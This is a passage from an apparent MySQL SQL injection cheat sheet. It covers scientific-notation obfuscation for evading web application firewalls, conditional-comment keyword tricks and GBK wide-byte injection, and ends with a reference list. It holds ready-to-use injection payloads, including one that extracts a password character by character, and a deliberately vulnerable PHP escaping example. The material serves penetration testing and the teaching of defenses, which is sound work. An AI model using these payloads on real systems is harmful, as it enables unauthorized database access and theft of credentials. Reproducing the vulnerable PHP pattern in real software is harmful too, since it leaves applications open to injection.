`1 x 10^3` which is `1000`. 704 * `1.5e3` represents `1.5 x 10^3` which is `1500`. 705 * `2e-3` represents `2 x 10^-3` which is `0.002`. 706 707 The following queries are equivalent: 708 709 * `SELECT table_name FROM information_schema 1.e.tables` 710 * `SELECT table_name FROM information_schema .tables` 711 712 In the same way, the common payload to bypass authentication `' or ''='` is equivalent to `' or 1.e('')='` and `1' or 1.e(1) or '1'='1`. 713 This technique can be used to obfuscate queries to bypass WAF, for example: `1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2` 714 715 ### Conditional Comments 716 717 MySQL conditional comments are enclosed within `/*! ... */` and can include a version number to specify the minimum version of MySQL that should execute the contained code. 718 The code inside this comment will be executed only if the MySQL version is greater than or equal to the number immediately following the `/*!`. If the MySQL version is less than the specified number, the code inside the comment will be ignored. 719 720 * `/*!12345UNION*/`: This means that the word UNION will be executed as part of the SQL statement if the MySQL version is 12.345 or higher. 721 * `/*!31337SELECT*/`: Similarly, the word SELECT will be executed if the MySQL version is 31.337 or higher. 722 723 **Examples**: `/*!12345UNION*/`, `/*!31337SELECT*/` 724 725 ### Wide Byte Injection (GBK) 726 727 Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term "wide byte" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently. 728 729 The `SET NAMES gbk` query can be exploited in a charset-based SQL injection attack. When the character set is set to GBK, certain multibyte characters can be used to bypass the escaping mechanism and inject malicious SQL code. 730 731 Several characters can be used to trigger the injection. 732 733 * `%bf%27`: This is a URL-encoded representation of the byte sequence `0xbf27`. In the GBK character set, `0xbf27` decodes to a valid multibyte character followed by a single quote ('). When MySQL encounters this sequence, it interprets it as a single valid GBK character followed by a single quote, effectively ending the string. 734 * `%bf%5c`: Represents the byte sequence `0xbf5c`. In GBK, this decodes to a valid multi-byte character followed by a backslash (`\`). This can be used to escape the next character in the sequence. 735 * `%a1%27`: Represents the byte sequence `0xa127`. In GBK, this decodes to a valid multi-byte character followed by a single quote (`'`). 736 737 A lot of payloads can be created such as: 738 739 ```sql 740 %A8%27 OR 1=1;-- 741 %8C%A8%27 OR 1=1-- 742 %bf' OR 1=1 -- -- 743 ``` 744 745 Here is a PHP example using GBK encoding and filtering the user input to escape backslash, single and double quote. 746 747 ```php 748 function check_addslashes($string) 749 { 750 $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash 751 $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash 752 $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash 753 754 return $string; 755 } 756 757 $id=check_addslashes($_GET['id']); 758 mysql_query("SET NAMES gbk"); 759 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 760 print_r(mysql_error()); 761 ``` 762 763 Here's a breakdown of how the wide byte injection works: 764 765 For instance, if the input is `?id=1'`, PHP will add a backslash, resulting in the SQL query: `SELECT * FROM users WHERE id='1\'' LIMIT 0,1`. 766 767 However, when the sequence `%df` is introduced before the single quote, as in `?id=1%df'`, PHP still adds the backslash. This results in the SQL query: `SELECT * FROM users WHERE id='1%df\'' LIMIT 0,1`. 768 769 In the GBK character set, the sequence `%df%5c` translates to the character `連`. So, the SQL query becomes: `SELECT * FROM users WHERE id='1連'' LIMIT 0,1`. Here, the wide byte character `連` effectively "eating" the added escape character, allowing for SQL injection. 770 771 Therefore, by using the payload `?id=1%df' and 1=1 --+`, after PHP adds the backslash, the SQL query transforms into: `SELECT * FROM users WHERE id='1連' and 1=1 --+' LIMIT 0,1`. This altered query can be successfully injected, bypassing the intended SQL logic. 772 773 ## References 774 775 * [[SQLi] Extracting data without knowing columns names - Ahmed Sultan - February 9, 2019](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/) 776 * [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection - Marc Olivier Bergeron - October 19, 2021](https://web.archive.org/web/20211019152624/https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) 777 * [Alternative for Information_Schema.Tables in MySQL - Osanda Malith Jayathissa - February 3, 2017](https://web.archive.org/web/20260227032450/https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/) 778 * [Ekoparty CTF 2016 (Web 100) - p4-team - October 26, 2016](https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100) 779 * [Error Based Injection | NetSPI SQL Injection Wiki - NetSPI - February 15, 2021](https://web.archive.org/web/20210215172533/https://sqlwiki.netspi.com/injectionTypes/errorBased/) 780 * [How to Use SQL Calls to Secure Your Web Site - IPA ISEC - January 18, 2024](https://web.archive.org/web/20240118024024/https://www.ipa.go.jp/security/vuln/ps6vr70000011hc4-att/000017321.pdf) 781 * [MySQL Out of Band Hacking - Osanda Malith Jayathissa - February 23, 2018](https://web.archive.org/web/20260303030701/https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf) 782 * [SQL injection - The oldschool way - 02 - Ahmed Sultan - January 1, 2025](https://web.archive.org/web/20250807062504/https://www.youtube.com/watch?si=kFQkvCEn2NiWLDGY&v=u91EdO1cDak&feature=youtu.be) 783 * [SQL Truncation Attack - Rohit Shaw - June 29, 2014](https://web.archive.org/web/20201001181524/https://resources.infosecinstitute.com/sql-truncation-attack/) 784 * [SQLi filter evasion cheat sheet (MySQL) - Johannes Dahse - December 4, 2010](https://web.archive.org/web/20101209155346/http://websec.wordpress.com:80/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql) 785 * [The SQL Injection Knowledge Base - Roberto Salgado - May 29, 2013](https://websec.ca/kb/sql_injection#MySQL_Default_Databases)